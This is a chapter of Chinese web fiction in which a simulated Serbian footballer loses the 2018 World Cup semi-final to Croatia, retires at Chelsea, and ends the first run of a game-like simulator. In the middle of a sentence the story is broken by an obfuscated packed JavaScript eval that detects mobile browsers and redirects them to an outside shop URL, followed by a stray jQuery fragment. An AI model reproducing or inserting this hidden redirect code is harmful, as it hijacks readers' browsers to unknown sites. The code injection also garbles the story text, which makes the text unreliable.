【2010年，你27岁，获得了世界杯季军】
【2012年，你29岁，在切尔西捧起了第二座大耳朵杯，随塞尔维亚国家队首次闯入到欧洲杯四强】
【2014年，你31岁，队长斯坦科维奇对你说，这一届世界杯之后，无论结果如何他都要退役了，他和教练决定之后把队长袖标交给你】
【2016年，你33岁，年龄的增长让你没办法再像几年前那样不知疲惫地跑下去了，但身为队长，你却很好地稳定住了更衣室，让年轻的队员能尽快融入进团队里，教练也会时常来找你交流战术问题，最终你带领塞尔维亚获得了欧洲杯亚军】
【2018年，你35岁，参与了本届俄罗斯世界杯，塞尔维亚半决赛的对手是克罗地亚，你们在全世界面前上演了南斯拉夫内战】
世界杯半决赛，加时赛，点球大战，一切仿佛八年前那场半决赛重现，塞尔维亚又一次倒在了通往决赛的最后一道关卡上，赛后，约维奇看着向他走来的克罗地亚国家队队长莫德里奇，突然清晰地意识到某种冥冥之中注定的东西。
比如，本届世界杯的主角是克罗地亚，就如同八年前世界杯的主角是西班牙一样，即使克罗地亚最后没有拿到冠军，主角的位置也不会有所动摇。
什么时候塞尔维亚也能成为那个主角呢……约维奇摇摇头，不再去想这个注定无果的问题，和莫德里奇交换了球衣，也交换了一个很久很久的拥抱。
第二天各大体育新闻头条都是这幅场景，甚至还有不少媒体将它称作为“世纪之拥”，鉴于塞尔维亚和克罗地亚从近代起就堪称恶劣的关系，他们乐观地觉得这个拥抱或许就是两国关系缓和的最大信号。
但很可惜，互相仇恨的种子一旦埋下，再想连根拔出就没那么容易了，塞尔维亚在世界杯赛场上输给死敌，塞尔维亚人恨不得跟国家队球员们上演真人格斗，但偏偏国家队队长是他们爱了这么多年也为之骄傲了这么多年的约维奇，一个四舍五入都称得上是四旬老汉的球员在最后依然跑满了全场，踢进了点球，哨响之后直接趴倒在地站都站不稳，谁都不能说他不尽力。
但竞技体育的残酷也就在这里，即使拼尽全力了，又能改变什么呢？
这个道理所有人都懂，但不是所有人都能接受的，许多塞尔维亚人因爱生恨烧毁约维奇的球衣，在他的照片上打上两个大大的叉，鲜红的颜色像伤口处汩汩流出的鲜血。但还没等他们发泄多久，一则声明把所有无论是支持他还是反对他的塞尔维亚人都砸懵了。
2018年7月20日，就在世界杯结束没多久的时候，德拉甘·约维奇在社交媒体上发布退役声明，已经三十五岁的男人在视频中笑起来却还像二十几岁那样让人看一眼就忍不住想跟着笑，岁月也格外善待他，除了脸颊的那道疤外，这么多年它也没有在他脸上多添多少痕迹。
“在我八岁那年，我被学校推荐给兹韦兹达拉，我的足球生涯就是在那时候开始的，后面我又来到了贝尔格莱德红星青训营，在那里的日子也很难忘，虽然有过痛苦，但我在那里遇见了生命中最要好的两个朋友，可是如果要我一定选一个我人生最重要的日子，不是我第一次获得欧冠冠军那天，甚至也不是我站在世界杯赛场上的那天，而是我被提拔进红星的一线队，穿上那件红白球衣，看到荣誉室里那座欧冠冠军奖杯的那天。”
“那天我对自己说，我想要为它再捧回一座奖杯，可惜没能做到，就像我第一次穿上国家队队服，我也想为塞尔维亚，为所有人捧回那座奖杯，可惜也没能做到，这是我这辈子最大的遗憾，我从来都不后悔为塞尔维亚而战，只后悔没有赢得最好的那个回报给大家，当我披上红色球衣的时候，我无时无刻不感到骄傲，我们的心脏通过球衣紧密地系在一起，如同从来没有分开过那般亲密，每一次震颤都带来八百万次的回响。”
“退役不是一个容易的决定，在发布这个视频之前，我也在反复犹豫究竟要不要这么做，但最终还是下定了决心，时间让我的脚步变得迟钝沉重，我也不能再死赖着不走，应该把舞台交给比我更加聪颖勤奋的年轻人，即使我再留恋你们的欢呼、笑容和掌声也要这么做，也希望你们原谅我，三次都没有把那个最高荣誉带给你们，但我相信后来的人迟早会做到的，因为你们永远值得，因为爱你们就是奋斗的最大动力。”
“在最后，我要感谢我的爸爸妈妈，感谢我的队友和经纪人，感谢贝尔格莱德红星和切尔西，感谢一直都对我青睐有加的主席阿布拉莫维奇，感谢所有教练们，他们让我学到了很多，感谢俱乐部的其他工作人员，感谢所有支持过和爱过我的人。”
“感谢足球，感谢塞尔维亚，”约维奇捧起国旗在它上面印下一吻，“我爱你们！”
约维奇结束了和切尔西长达十三年的合同，在切尔西挂靴退役，退役那天，那些曾经的队友对手有空的全来了，一轮招呼和握手下来约维奇嗓子都有点哑了，想赶紧找瓶水喝口缓解一下。
一瓶水递到他面前，瓶盖还被贴心地提前扭开了，约维奇接过，说了一句“谢谢弗兰克”就赶紧举起瓶子大口往嘴里灌，兰帕德让他别喝得那么急，嘴角一勾又开起了玩笑：“之前说了那么多谢谢，现在还说不腻吗？”
约维奇用余光瞥了一眼他，嗓子没那么难受之后随便用手背擦了一下嘴边的水渍，“这句是单独给你的。”
兰帕德哑然失笑，很快他又开启了一个新话题，“退役之后打算做什么呢？当教练？做评论员？还是做其他的事情？”
“先旅游吧，这十几年赚的钱也不少，暂时不用担心饿死，带爸爸妈妈出去玩几年再说吧，”约维奇思索了一会儿又开口道：“但我之后可能会考个教练证。”他转头看着兰帕德，拍拍他的肩膀，“听说你也准备考这个，之后就要麻烦你辅导我了。”
“那我得好好学了，争取不误人子弟。”兰帕德耸耸肩，又笑了笑。
约维奇在英国这里也有家，房子就是之前阿布租给他的，后来他攒够钱了就从阿布手中买了下来，偶尔父母还会飞过来和他一起住一段时间，但刚刚退役，不用工作，约维奇还是想先回贝尔格莱德，和父母商量一下之后去哪里旅游。他打开保险柜，从里面取出两枚保养得当，依然闪着光的奖章，吹了吹上面并不存在的灰尘，再用绒布擦了一遍，最后收到行李箱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735286|209030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
最深处。
电话铃响起，约维奇看了一眼就接通了，他肩膀夹着手机，一只手提行李箱，一只手拿锁门的钥匙，“尼古拉？我已经买好票了，今天就能回来，内马尼亚也来了？那你们先给我炒俩菜等我回来吃，哈哈哈哈哈哈哈真炒啊，算了吧我开玩笑的……”
门被合上，约维奇的声音也渐行渐远，屏幕缓缓黯淡下去，一行字出现在中央：【一周目德拉甘·约维奇end】
【德拉甘·约维奇，塞尔维亚籍球员，1983年3月15日出生于贝尔格莱德，35岁在切尔西退役】
【职业生涯荣誉：
世界杯金球奖：1次（2010）
欧冠冠军：2次（2009、2012）
欧联冠军：1次（2013）
英超冠军：7次（2006、2007、2008、2010、2011、2012、2018）
足总杯：5次（2007、2009、2010、2012、2018）
联赛杯：4次（2007、2008、2009、2015）
世俱杯：1次（2012）
PFA年度最佳阵容：3次（2010、2012、2018）】
【感谢你的模拟】
【达成成就：背号退役＃在整个塞尔维亚，你就是16号，16号就是你】
约维奇的周目就这样结束了……你正有点怅然若失，屏幕里突然蹦出来两个礼花筒对着你喷出喜气洋洋的彩条，一瞬间就把你所有伤感的情绪全搅碎了。
一条长方形的细框出现在屏幕中央，很快里面就从左到右填满了浅蓝色，一行大字从细框上跳出来：【恭喜你！升级了！】
你看了看细框左边的1和右边2，很好，从1级升到2级，又耐心等待模拟器之后的说明，结果你像个傻子一样痴痴望了一会儿屏幕，屏幕却一直没有新的表示。
啥意思？这个升级有什么用？2级和1级比有什么区别？
这个时候，你一直以为跟挂了没差别的系统突然诈尸：“更多功能请在之后的模拟中探索。”突然在脑海中出现的声音差点把你吓得魂都要飞出去，你飚了一句优美的国粹，忍不住开始问候系统：“你之前死哪去了？怎么现在才出声？”
系统：“我不被允许参与或干扰模拟进程，在玩家进行模拟时我不能开口。”
你“呵呵”了一声，“你和模拟器是一家的不？你知道它有多坑不？”
系统可疑地沉默了一会儿，然后回到最开始的话题：“玩家在之后可以体会到升级的效果，所以没有具体的升级说明。”
你又“呵呵”了一声，“明明是作者暂时没编出来升级的作用吧。”
系统不再出声，你也拿它没办法，只能愤怒地按了一下鼠标准备开启下一周目，这一世，你重生了！这次你一定要拿回属于你的一切！（比如大力神杯）V你50聆听你的复仇计划！但屏幕却出现了一行新的字：
【是否查看一周目彩蛋？】
【是】【否】
你眼睛瞬间一亮，是是是是是！居然还有售后，那当然要看！